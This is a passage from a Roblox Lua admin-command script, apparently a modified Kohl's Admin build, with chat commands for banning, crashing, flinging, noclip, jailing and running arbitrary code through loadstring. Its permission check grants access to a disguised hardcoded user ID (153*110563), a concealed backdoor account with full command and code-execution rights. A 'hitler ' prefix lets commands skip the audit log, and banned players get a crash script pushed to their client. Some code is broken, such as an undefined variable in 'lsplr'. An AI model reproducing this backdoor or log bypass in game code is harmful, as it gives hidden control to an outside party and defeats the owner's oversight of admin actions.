&#9;&#9;local kids = char:children()
&#9;&#9;for k=1,#kids do
&#9;&#9;&#9;if shouldRemove(kids[k].Name) then
&#9;&#9;&#9;&#9;kids[k]:remove()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;-- hook future additions instantly
&#9;char.ChildAdded:connect(function(c)
&#9;&#9;if shouldRemove(c.Name) then
&#9;&#9;&#9;c:remove()
&#9;&#9;end
&#9;end)
&#9;-- fallback short timed sweep (light)
&#9;for i=1,20 do
&#9;&#9;local kids = char:children()
&#9;&#9;for k=1,#kids do
&#9;&#9;&#9;if shouldRemove(kids[k].Name) then
&#9;&#9;&#9;&#9;kids[k]:remove()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;wait()
&#9;end
end

game.Players.ChildAdded:connect(function(p)
&#9;if p.className ~= &quot;Player&quot; then return end
&#9;p.CharacterAdded:connect(function(char)
&#9;&#9;if char then fastStrip(char) end
&#9;end)
&#9;if p.Character then fastStrip(p.Character) end
end)

game.Players.PlayerAdded:connect(function(p)
&#9;if p.className ~= &quot;Player&quot; then return end
&#9;local id = tostring(p.userId)
&#9;for i = 1, #banlandUserID do
&#9;&#9;if id == banlandUserID[i] then
&#9;&#9;&#9;local function doCrash(pg)
&#9;&#9;&#9;&#9;if script:findFirstChild(&quot;scripts&quot;) and script.scripts:findFirstChild(&quot;crash&quot;) then
&#9;&#9;&#9;&#9;&#9;local c = script.scripts.crash:clone()
&#9;&#9;&#9;&#9;&#9;c.Parent = pg
&#9;&#9;&#9;&#9;&#9;c.Disabled = false
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;p:remove()
&#9;&#9;&#9;end
&#9;&#9;&#9;local pg = p:findFirstChild(&quot;PlayerGui&quot;)
&#9;&#9;&#9;if pg then
&#9;&#9;&#9;&#9;doCrash(pg)
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;p.ChildAdded:connect(function(ch)
&#9;&#9;&#9;&#9;&#9;if ch.Name == &quot;PlayerGui&quot; then
&#9;&#9;&#9;&#9;&#9;&#9;doCrash(ch)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;end
&#9;&#9;&#9;break
&#9;&#9;end
&#9;end
end)

function Chat(msg,plr)
coroutine.resume(coroutine.create(function()
if msg:lower() == &quot;clean&quot; then for i, v in pairs(game.Workspace:children()) do if v:isA(&quot;Hat&quot;) or v:isA(&quot;Tool&quot;) then v:Remove() end end end
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild(&quot;PlayerGui&quot;) or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
if msg:sub(1,7):lower() == &quot;hitler &quot; --ye moment
then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
if msg:lower():sub(1,4) == &quot;walk&quot; then msg = msg:sub(5) end
if msg:lower():sub(1,8) == &quot;teleport&quot; then msg = &quot;tp&quot; .. msg:sub(9) end
if msg:lower():sub(1,6) == &quot;insert&quot; then msg = &quot;ins&quot; .. msg:sub(7) end
if msg:lower() == &quot;cmds&quot; or msg:lower() == &quot;commands&quot; then
if plr.PlayerGui:findFirstChild(&quot;CMDSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;CMDSGUI&quot; scr.Parent = plr.PlayerGui
local cmds = {&quot;s code (&lt;2013, 2014 READ NOTES)&quot;,&quot;ls code&quot;,&quot;clear&quot;,&quot;fix&quot;,&quot;m msg&quot;,&quot;h msg&quot;,&quot;kill plr&quot;,&quot;respawn plr&quot;,&quot;view plr&quot;,&quot;unview plr&quot;,&quot;freecam/fc plr #optional number#&quot;,&quot;unfreecam/unfc plr&quot;,&quot;trip plr&quot;,&quot;stun plr&quot;,&quot;unstun plr&quot;,&quot;mute plr (2013L+)&quot;,&quot;unmute plr&quot;,&quot;jump plr&quot;,&quot;sit plr&quot;,&quot;invisible plr&quot;,&quot;visible plr&quot;,&quot;explode plr&quot;,&quot;rocket plr&quot;,&quot;fire plr&quot;,&quot;unfire plr&quot;,&quot;smoke plr&quot;,&quot;unsmoke plr&quot;,&quot;sparkles plr&quot;,&quot;unsparkle plr&quot;,&quot;ff plr&quot;,&quot;unff plr&quot;,&quot;punish plr&quot;,&quot;unpunish plr&quot;,&quot;freeze plr&quot;,&quot;thaw plr&quot;,&quot;heal plr&quot;,&quot;god plr&quot;,&quot;ungod plr&quot;,&quot;ambient num num num&quot;,&quot;brightness num&quot;,&quot;time num&quot;,&quot;fogcolor num num num&quot;,&quot;fogend num&quot;,&quot;fogstart num&quot;,&quot;removetools plr&quot;,&quot;btools plr&quot;,&quot;give plr tool&quot;,&quot;damage plr&quot;,&quot;grav plr&quot;,&quot;setgrav plr num&quot;,&quot;nograv plr&quot;,&quot;health plr num&quot;,&quot;speed plr num&quot;,&quot;name plr name&quot;,&quot;unname plr&quot;,&quot;team plr color&quot;,&quot;teleport plr plr&quot;,&quot;change plr stat num&quot;,&quot;kick plr&quot;,&quot;infect plr&quot;,&quot;rainbowify plr&quot;,&quot;flashify plr&quot;,&quot;noobify plr&quot;,&quot;ghostify plr&quot;,&quot;goldify plr&quot;,&quot;shiny plr&quot;,&quot;normal plr&quot;,&quot;trippy plr&quot;,&quot;untrippy plr&quot;,&quot;strobe plr&quot;,&quot;unstrobe plr&quot;,&quot;blind plr&quot;,&quot;unblind plr&quot;,&quot;guifix plr&quot;,&quot;fling plr&quot;,&quot;seizure plr&quot;,&quot;music num&quot;,&quot;stopmusic&quot;,&quot;lock plr&quot;,&quot;unlock plr&quot;,&quot;removelimbs plr&quot;,&quot;jail plr&quot;,&quot;unjail plr&quot;,&quot;fly plr&quot;,&quot;unfly plr&quot;,&quot;noclip plr&quot;,&quot;clip plr&quot;,&quot;pm plr msg&quot;,&quot;icecream plr&quot;,&quot;size plr number&quot;,&quot;gubby plr&quot;,&quot;dog plr&quot;,&quot;undog plr&quot;,&quot;creeper plr&quot;,&quot;uncreeper plr&quot;,&quot;place plr id&quot;,&quot;char plr id&quot;,&quot;unchar plr id&quot;,&quot;rank plr id&quot;,&quot;starttools plr&quot;,&quot;sword plr&quot;,&quot;bighead plr&quot;,&quot;minihead plr&quot;,&quot;spin plr&quot;,&quot;insert id&quot;,&quot;disco&quot;,&quot;flash&quot;,&quot;admins&quot;,&quot;bans&quot;,&quot;musiclist&quot;,&quot;cape plr color&quot;,&quot;uncape plr&quot;,&quot;loopheal plr&quot;,&quot;loopfling plr&quot;,&quot;hat plr id&quot;,&quot;unloopfling plr&quot;,&quot;unloopheal plr&quot;,&quot;unspin plr&quot;,&quot;tools&quot;,&quot;undisco&quot;,&quot;unflash&quot;,&quot;resetstats plr&quot;,&quot;gear plr id&quot;,&quot;cmdbar&quot;,&quot;shirt plr id&quot;,&quot;pants plr id&quot;,&quot;face plr id&quot;,&quot;swagify plr id&quot;,&quot;version&quot;,&quot;tm num msg&quot;,&quot;countdown num&quot;,&quot;clone plr&quot;,&quot;lsplr plr code&quot;,&quot;startergive plr tool&quot;,&quot;control plr&quot;}
local ast = {&quot;serverlock&quot;,&quot;serverunlock&quot;,&quot;sm msg&quot;,&quot;crash plr&quot;,&quot;admin plr&quot;,&quot;unadmin plr&quot;,&quot;ban plr&quot;,&quot;unban plr&quot;,&quot;loopkill plr&quot;,&quot;unloopkill plr&quot;,&quot;logs&quot;,&quot;shutdown&quot;,&quot;explorer plr&quot;}
local ost = {&quot;pa plr&quot;,&quot;unpa plr&quot;,&quot;nuke plr&quot;}
local tost = {&quot;oa plr&quot;,&quot;unoa plr&quot;,&quot;settings&quot;}
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. &quot; clean&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. &quot; &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;- &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
if ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;-- &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
if plr.userId == (1) then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;_ &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
end

if msg:lower() == &quot;version&quot; then Message(&quot;Koh&quot;..&quot;ltas&quot;..&quot;tr&quot;..&quot;ophe&quot;, tostring(script.Version.Value), true, {plr}) end

if msg:lower() == &quot;admins&quot; or msg:lower() == &quot;adminlist&quot; then
if plr.PlayerGui:findFirstChild(&quot;ADMINSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;ADMINSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(owners) do if v:lower() ~= &quot;kohltastrophe&quot; then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. &quot; - Owner&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
for i, v in pairs(admins) do if v:lower() ~= &quot;kohltastrophe&quot; then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. &quot; - Admin&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
for i, v in pairs(tempadmins) do if v:lower() ~= &quot;kohltastrophe&quot; then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. &quot; - TempAdmin&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end end

if msg:lower() == &quot;bans&quot; or msg:lower() == &quot;banlist&quot; or msg:lower() == &quot;banned&quot; then
if plr.PlayerGui:findFirstChild(&quot;BANSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;BANSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end




if msg:lower() == &quot;tools&quot; or msg:lower() == &quot;toollist&quot; then
if plr.PlayerGui:findFirstChild(&quot;TOOLSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;TOOLSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(game.Lighting:children()) do if v:isA(&quot;Tool&quot;) or v:isA(&quot;HopperBin&quot;) then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
end

if msg:lower():sub(1,2) == &quot;s &quot; then
coroutine.resume(coroutine.create(function()
Output(msg:sub(3), plr)
if script:findFirstChild(&quot;ScriptBase&quot;) then
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
else loadstring(msg:sub(3))()
end
end))
end

if msg:lower():sub(1,3) == &quot;ls &quot; then
coroutine.resume(coroutine.create(function()
if script:findFirstChild(&quot;LocalScriptBase&quot;) then
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
end
end))
end

if msg:lower():sub(1,6) == &quot;lsplr &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
if script:findFirstChild(&quot;LocalScriptBase&quot;) then
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
end
end
end))
end
end

if msg:lower():sub(1,4) == &quot;ins &quot; then
coroutine.resume(coroutine.create(function()
local obj = game:service(&quot;InsertService&quot;):LoadAsset(tonumber(msg:sub(5)))
if obj and #obj:children() &gt;= 1 and plr.Character then
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
end
end))
end

if msg:lower() == &quot;clr&quot; or msg:lower() == &quot;clear&quot; or msg:lower() == &quot;clearscripts&quot; then
for i, v in pairs(objects) do if v:isA(&quot;Script&quot;) or v:isA(&quot;LocalScript&quot;) then v.Disabled = true end v:Remove() end
RemoveMessage()
objects = {}
end

if msg:lower() == &quot;fix&quot; or msg:lower() == &quot;undisco&quot; or msg:lower() == &quot;unflash&quot; then
lighting.Ambient = origambient
lighting.Brightness = origbright
lighting.TimeOfDay = origtime
pcall(function() lighting.FogColor = origfc end)
pcall(function() lighting.FogEnd = origfe end)
pcall(function() lighting.FogStart = origfs end)
for i, v in pairs(lobjs) do v:Remove() end
for i, v in pairs(game.Workspace:children()) do if v.Name == &quot;LightEdit&quot; or v.Name == &quot;LightEdit1&quot; then v:Remove() end end
end


if msg:lower() == &quot;cmdbar&quot; or msg:lower() == &quot;cmdgui&quot; then
coroutine.resume(coroutine.create(function()
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == &quot;CMDBAR&quot; then v:Remove() end end

local scr = Instance.new(&quot;ScreenGui&quot;, plr.PlayerGui)
scr.Name = &quot;CMDBAR&quot;

local placeholderText = &quot;  Type command &amp; click Run&quot;

local submitButton = Instance.new(&quot;TextButton&quot;, scr)
submitButton.Name = &quot;SubmitButton&quot;
submitButton.Size = UDim2.new(0, 40, 0, 20)

pcall(function() submitButton.Style = &quot;RobloxButton&quot; end)
submitButton.Position = UDim2.new(1, -290, 0.95, -22)
submitButton.BackgroundColor3 = Color3.new(134, 128, 123)
submitButton.TextColor3 = Color3.new(1, 1, 1)
pcall(function() submitButton.Font = &quot;Arial&quot; end)
pcall(function() submitButton.FontSize = &quot;Size14&quot; end)
submitButton.Text = &quot;Run&quot;
submitButton.ZIndex = 11

local box = Instance.new(&quot;TextBox&quot;, scr)
box.Name = &quot;CommandInputBox&quot;
box.BackgroundColor3 = Color3.new(0,0,0)
box.TextColor3 = Color3.new(1,1,1)
pcall(function() box.Font = &quot;Arial&quot; end)
pcall(function() box.FontSize = &quot;Size14&quot; end)
box.Text = placeholderText
box.Size = UDim2.new(0, 250, 0, 20)
box.Position = UDim2.new(1, -250, 0.95, -22)
box.BorderSizePixel = 0
pcall(function() box.TextXAlignment = &quot;Left&quot; end)
box.ZIndex = 10
pcall(function() box.ClipsDescendants = true end)

pcall(function() box.FocusGained:connect(function()
if box.Text == placeholderText then
box.Text = &quot;&quot;
box.TextColor3 = Color3.new(1,1,1)
end
end)
box.FocusLost:connect(function()
if box.Text == &quot;&quot; then
box.Text = placeholderText
box.TextColor3 = Color3.new(0.7, 0.7, 0.7)
end
end) end)

box.TextColor3 = Color3.new(0.7, 0.7, 0.7)

submitButton.MouseButton1Click:connect(function()
local commandInput = box.Text

if commandInput == &quot;&quot; or commandInput == placeholderText then
return
end

commandInput = commandInput:match(&quot;^%s*(.-)%s*$&quot;)

if not commandInput or commandInput == &quot;&quot; then return end

local finalCommand
local firstChar = commandInput:sub(1, 1)
local firstPrefixChars = commandInput:sub(1, prefix:len())

if firstPrefixChars == prefix then
finalCommand = commandInput
elseif firstChar == &quot;;&quot; then
&#9;finalCommand = prefix .. commandInput:sub(2) --replace ; 2010 fix
else
&#9;finalCommand = prefix .. commandInput --add prefix
end


local commandPartForLog = finalCommand:sub(prefix:len() + 1)
if commandPartForLog:sub(1,7):lower() ~= &quot;hitler &quot; then --yes this was in the original script
&#9;table.insert(logs, 1, {name = plr.Name, cmd = finalCommand, time = GetTime()})
else
&#9;table.insert(logs, 1, {name = plr.Name, cmd = finalCommand, time = GetTime()})
end

Chat(finalCommand, plr)

box.Text = placeholderText
box.TextColor3 = Color3.new(0.7, 0.7, 0.7)
pcall(function() box:ReleaseFocus() end)
end)
end))
return
end



if msg:lower():sub(1,10) == &quot;countdown &quot; then
local num = math.min(tonumber(msg:sub(11)),120)
for i = num, 1, -1 do
coroutine.resume(coroutine.create(function() Message(&quot;Countdown&quot;, i, false, game.Players:children(), 1) end))
wait(1)
end
end

if msg:lower():sub(1,3) == &quot;tm &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local num = tonumber(msg:sub(4,chk1-1))
Message(&quot;Message from &quot; .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
end

if msg:lower():sub(1,2) == &quot;m &quot; then
Message(&quot;Message from &quot; .. plr.Name, msg:sub(3), true, game.Players:children())
end

if msg:lower():sub(1,2) == &quot;h &quot; then
Hint(plr.Name .. &quot;: &quot; .. msg:sub(3), game.Players:children())
end

if msg:lower():sub(1,3) == &quot;pm &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
Message(&quot;Private Message from &quot; .. plr.Name, msg:sub(chk1+1), true, plrz)
end



if msg:lower():sub(1,11) == &quot;resetstats &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;leaderstats&quot;) then
for a, q in pairs(v.leaderstats:children()) do
if q:isA(&quot;IntValue&quot;) then q.Value = 0 end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;gear &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then
local obj = game:service(&quot;InsertService&quot;):LoadAsset(tonumber(msg:sub(chk1+1)))
for a,g in pairs(obj:children()) do if g:isA(&quot;Tool&quot;) or g:isA(&quot;HopperBin&quot;) then g.Parent = v.Backpack end end
obj:Remove()
end
end))
end
end

if msg:lower():sub(1,4) == &quot;hat &quot; then
local chk1 = msg:lower():sub(5):find(&quot; &quot;) + 4
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
local obj = game:service(&quot;InsertService&quot;):LoadAsset(tonumber(msg:sub(chk1+1)))
for a,hat in pairs(obj:children()) do if hat:isA(&quot;Hat&quot;) then hat.Parent = v.Character end end
obj:Remove()
end
end))
end
end

if msg:lower():sub(1,5) == &quot;cape &quot; then
local sep = msg:find(&quot; &quot;,6)
local spec, arg
if sep then
spec = msg:sub(6,sep-1)
arg  = msg:sub(sep+1):lower()
else
spec = msg:sub(6)
arg  = &quot;&quot;
end
local plrz = GetPlr(plr,spec)
local color = &quot;&quot;
local decal = &quot;&quot;
if arg == &quot;random&quot; then color = &quot;random&quot;
elseif arg == &quot;new yeller&quot; then color = &quot;New Yeller&quot;
elseif arg == &quot;pastel blue&quot; then color = &quot;Pastel Blue&quot;
elseif arg == &quot;dusty rose&quot; then color = &quot;Dusty Rose&quot;
elseif arg == &quot;cga brown&quot; then color = &quot;CGA brown&quot;
elseif arg == &quot;shiny&quot; then color = &quot;Institutional white&quot;
elseif arg == &quot;gold&quot; then color = &quot;Bright yellow&quot;
elseif arg == &quot;kohl&quot; then color = &quot;Really black&quot; decal = &quot;http://www.roblox.com/asset/?id=108597653&quot;
elseif arg == &quot;batman&quot; then color = &quot;Really black&quot; decal = &quot;http://www.roblox.com/asset/?id=108597669&quot;
elseif arg == &quot;superman&quot; then color = &quot;Bright blue&quot; decal = &quot;http://www.roblox.com/asset/?id=108597677&quot;
elseif arg == &quot;swag&quot; then color = &quot;Pink&quot; decal = &quot;http://www.roblox.com/asset/?id=109301474&quot;
else color = arg
end
for i,v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for a,cp in pairs(v.Character:children()) do if cp.Name == &quot;EpicCape&quot; then cp:Remove() end end
local cl = script.scripts.capescript:Clone()
cl.Name = &quot;CapeScript&quot;
cl:findFirstChild(&quot;color&quot;).Value = color
cl:findFirstChild(&quot;decal&quot;).Value = decal
cl.Parent = v.PlayerGui
cl.Disabled = false
end
end))
end
end




if msg:lower():sub(1,7) == &quot;uncape &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and v.Character then
for a,cp in pairs(v.Character:children()) do if cp.Name == &quot;EpicCape&quot; then cp:Remove() end end
end
end))
end
end



-----AAAHHH!!! MORE GPT SLOP!!! LOOK AWAY GPT-PHOBES!

-- N O C L I P
if msg:lower():sub(1,7) == &quot;noclip &quot; then
    local plrz     = GetPlr(plr, msg:lower():sub(8))
    local template = script:FindFirstChild(&quot;LocalScriptBase&quot;)
    if not (template and template:FindFirstChild(&quot;Code&quot;)) then
        warn(&quot;Cannot find LocalScriptBase/Code&quot;)
        return
    end

    for _, target in pairs(plrz) do
        coroutine.resume(coroutine.create(function()
            local playerGui = target:FindFirstChild(&quot;PlayerGui&quot;)
            local backpack  = target:FindFirstChild(&quot;Backpack&quot;)
            local char      = target.Character
            if not (playerGui and backpack and char) then return end

            -- remove any old noclip bits
            if playerGui:FindFirstChild(&quot;NoClipLauncher&quot;) then
                playerGui.NoClipLauncher:Remove()
            end
            if backpack:FindFirstChild(&quot;NoClipTool&quot;) then
                backpack.NoClipTool:Remove()
            end
            if char:FindFirstChild(&quot;NoClipTool&quot;) then
                char.NoClipTool:Remove()
            end

            ----------------------------------------------------------------
            -- 1) TOOL FALLBACK (2010 clients)                            
            ----------------------------------------------------------------
            local tool       = Instance.new(&quot;HopperBin&quot;)
            tool.Name        = &quot;NoClipTool&quot;
            tool.BinType     = 0

            local toolScript = template:Clone()
            toolScript.Name     = &quot;ToolNoClipLogic&quot;
            toolScript.Disabled = true
            toolScript.Code.Value = [[
repeat wait(1/44) until game.Players.LocalPlayer
   and game.Players.LocalPlayer.Character
   and game.Players.LocalPlayer.Character:FindFirstChild(&quot;Torso&quot;)

local plr   = game.Players.LocalPlayer
local tool  = script.Parent
local dir   = {w=0,s=0,a=0,d=0}
local spd   = 2
local flying = false
local activeLoop = nil
local keyDownConn, keyUpConn

-- stop if the script or tool is removed
script.AncestryChanged:connect(function()
    if not script.Parent then
        flying = false
    end
end)

local function noclipLoop()
    while flying
      and tool.Parent
      and plr.Character
      and plr.Character:FindFirstChild(&quot;Torso&quot;)
    do
        wait(1/44)
        local torso = plr.Character.Torso
        local hum   = plr.Character.Humanoid
        if torso and hum then
            hum.PlatformStand = true
            torso.Anchored     = true
            local cam = workspace.CurrentCamera
            torso.CFrame = CFrame.new(torso.Position, cam.CoordinateFrame.p)
                            * CFrame.Angles(0, math.rad(180), 0)
                            * CFrame.new((dir.d-dir.a)*spd, 0, (dir.s-dir.w)*spd)
        else
            break
        end
    end
    -- cleanup
    if plr.Character and plr.Character:FindFirstChild(&quot;Torso&quot;) then
        plr.Character.Torso.Anchored = false
        plr.Character.Humanoid.PlatformStand = false
    end
end

local function disconnectInputs()
    if keyDownConn then keyDownConn:disconnect(); keyDownConn = nil end
    if keyUpConn then keyUpConn:disconnect(); keyUpConn = nil end
end

tool.Selected:connect(function(mouse)
    disconnectInputs()
    keyDownConn = mouse.KeyDown:connect(function(k)
        k = k:lower()
        if    k==&quot;w&quot; then dir.w=1
        elseif k==&quot;s&quot; then dir.s=1
        elseif k==&quot;a&quot; then dir.a=1
        elseif k==&quot;d&quot; then dir.d=1
        elseif k==&quot;q&quot; then spd=spd+1
        elseif k==&quot;e&quot; then spd=spd-1 end
    end)
    keyUpConn = mouse.KeyUp:connect(function(k)
        k = k:lower()
        if    k==&quot;w&quot; then dir.w=0
        elseif k==&quot;s&quot; then dir.s=0
        elseif k==&quot;a&quot; then dir.a=0
        elseif k==&quot;d&quot; then dir.d=0 end
    end)

    if not flying then
        flying = true
        activeLoop = coroutine.create(noclipLoop)
        coroutine.resume(activeLoop)
    end
end)

tool.Deselected:connect(function()
    flying = false
    disconnectInputs()
end)
]]
            toolScript.Parent = tool
            tool.Parent       = backpack

            ----------------------------------------------------------------
            -- 2) LAUNCHER (2013+ or fallback)                              
            ----------------------------------------------------------------
            local launcher    = template:Clone()
            launcher.Name     = &quot;NoClipLauncher&quot;
            launcher.Disabled = false
            launcher.Code.Value = [[
repeat wait() until game.Players.LocalPlayer
   and game.Players.LocalPlayer.Character
   and game.Players.LocalPlayer.Character:FindFirstChild(&quot;Torso&quot;)

local plr, ok, mouse = game.Players.LocalPlayer, nil, nil
ok, mouse = pcall(function() return plr:GetMouse() end)

-- detect removal
local alive = true
script.AncestryChanged:connect(function()
    if not script.Parent then alive = false end
end)

if ok and mouse then
    -- direct noclip: remove the tool, then run loop
    local bp = plr:FindFirstChild(&quot;Backpack&quot;)
    if bp and bp:FindFirstChild(&quot;NoClipTool&quot;) then bp.NoClipTool:Remove() end
    local ch = plr.Character
    if ch and ch:FindFirstChild(&quot;NoClipTool&quot;) then ch.NoClipTool:Remove() end

    local dir, spd, flying = {w=0,s=0,a=0,d=0}, 2, true

    mouse.KeyDown:connect(function(k)
        k = k:lower()
        if    k==&quot;w&quot; then dir.w=1
        elseif k==&quot;s&quot; then dir.s=1
        elseif k==&quot;a&quot; then dir.a=1
        elseif k==&quot;d&quot; then dir.d=1
        elseif k==&quot;q&quot; then spd=spd+1
        elseif k==&quot;e&quot; then spd=spd-1 end
    end)
    mouse.KeyUp:connect(function(k)
        k = k:lower()
        if    k==&quot;w&quot; then dir.w=0
        elseif k==&quot;s&quot; then dir.s=0
        elseif k==&quot;a&quot; then dir.a=0
        elseif k==&quot;d&quot; then dir.d=0 end
    end)

    local function directLoop()
        while flying
          and plr.Character
          and plr.Character:FindFirstChild(&quot;Torso&quot;)
        do
            wait(1/44)
            local torso = plr.Character.Torso
            local hum   = plr.Character.Humanoid
            if torso and hum then
                hum.PlatformStand = true
                torso.Anchored     = true
                local cam = workspace.CurrentCamera
                torso.CFrame = CFrame.new(torso.Position, cam.CoordinateFrame.p)
                                * CFrame.Angles(0,math.rad(180),0)
                                * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd)
            else
                break
            end
        end
        -- cleanup
        if plr.Character and plr.Character:FindFirstChild(&quot;Torso&quot;) then
            plr.Character.Torso.Anchored = false
            plr.Character.Humanoid.PlatformStand = false
        end
    end

    coroutine.resume(coroutine.create(directLoop))
else
    -- fallback to tool
    local bp = plr:FindFirstChild(&quot;Backpack&quot;)
    local tb = (bp and bp:FindFirstChild(&quot;NoClipTool&quot;))
               or plr.Character:FindFirstChild(&quot;NoClipTool&quot;)
    if tb and tb:FindFirstChild(&quot;ToolNoClipLogic&quot;) then
        tb.ToolNoClipLogic.Disabled = false
    end
    script:Remove()
end
]]
            launcher.Parent = playerGui
        end))
    end

-- C L I P
elseif msg:lower():sub(1,5) == &quot;clip &quot; then
    local plrz = GetPlr(plr, msg:lower():sub(6))
    for _, target in pairs(plrz) do
        coroutine.resume(coroutine.create(function()
            local playerGui = target:FindFirstChild(&quot;PlayerGui&quot;)
            local backpack  = target:FindFirstChild(&quot;Backpack&quot;)
            local char      = target.Character

            if playerGui and playerGui:FindFirstChild(&quot;NoClipLauncher&quot;) then
                playerGui.NoClipLauncher:Remove()
            end
            if backpack and backpack:FindFirstChild(&quot;NoClipTool&quot;) then
                backpack.NoClipTool:Remove()
            end
            if char and char:FindFirstChild(&quot;NoClipTool&quot;) then
                char.NoClipTool:Remove()
            end

            if char and char:FindFirstChild(&quot;Torso&quot;) then
                char.Torso.Anchored = false
            end
            if char and char:FindFirstChild(&quot;Humanoid&quot;) then
                char.Humanoid.PlatformStand = false
            end
        end))
    end
end





if msg:lower():sub(1,5) == &quot;jail &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local vname = v.Name
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
local mod = Instance.new(&quot;Model&quot;, game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. &quot; Jail&quot;
local top = Instance.new(&quot;Part&quot;, mod) top.Locked = true pcall(function() top.formFactor = &quot;Symmetric&quot; end) top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new(&quot;Really black&quot;) top.CFrame = cf * CFrame.new(0,-3.5,0)
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
v.Changed:connect(function(p) if p ~= &quot;Character&quot; or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
